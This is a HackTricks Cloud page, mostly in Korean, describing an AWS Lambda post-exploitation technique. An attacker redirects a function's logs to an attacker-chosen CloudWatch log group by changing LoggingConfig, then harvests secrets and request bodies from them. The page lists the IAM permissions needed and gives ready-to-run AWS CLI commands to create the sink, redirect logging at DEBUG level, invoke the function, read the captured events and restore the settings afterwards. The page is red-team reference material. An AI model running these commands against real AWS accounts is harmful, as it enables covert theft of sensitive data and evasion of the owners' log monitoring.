AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
lambda:UpdateFunctionConfiguration의 고급 로깅 제어를 악용하여 함수의 로그를 공격자가 선택한 CloudWatch Logs 로그 그룹으로 리디렉션하세요. 이 방법은 코드나 실행 역할을 변경하지 않고도 작동합니다(대부분의 Lambda 역할에는 이미 logs:CreateLogGroup/CreateLogStream/PutLogEvents가 AWSLambdaBasicExecutionRole을 통해 포함되어 있습니다). 함수가 secrets/요청 본문을 출력하거나 스택 트레이스로 크래시하면 새 로그 그룹에서 이를 수집할 수 있습니다.
필수 권한
- lambda:UpdateFunctionConfiguration
- lambda:GetFunctionConfiguration
- lambda:InvokeFunction (또는 기존 트리거에 의존)
- logs:CreateLogGroup (함수 역할에 있으면 종종 필요 없음)
- logs:FilterLogEvents (이벤트를 읽기 위해)
단계
- sink 로그 그룹 생성
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
- 대상 함수의 로그 리디렉션
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1
LastUpdateStatus가 Successful이 될 때까지 기다리세요:
aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
- sink를 호출하고 sink에서 읽기
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
영향
- 은밀하게 애플리케이션/시스템 로그를 모두 제어하는 로그 그룹으로 리디렉션하여, 로그가
/aws/lambda/<fn>에만 도달한다고 예상하는 것을 우회합니다. - Exfiltrate 함수가 출력하거나 오류에 노출된 민감한 데이터를 탈취합니다.
정리
aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true
노트
- 로깅 제어는 Lambda’s
LoggingConfig(LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel)의 일부입니다. - 기본적으로 Lambda는 로그를
/aws/lambda/<function>으로 전송하지만, 임의의 로그 그룹 이름을 지정할 수 있습니다; 허용되는 경우 Lambda(또는 실행 역할)가 해당 로그 그룹을 생성합니다.
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud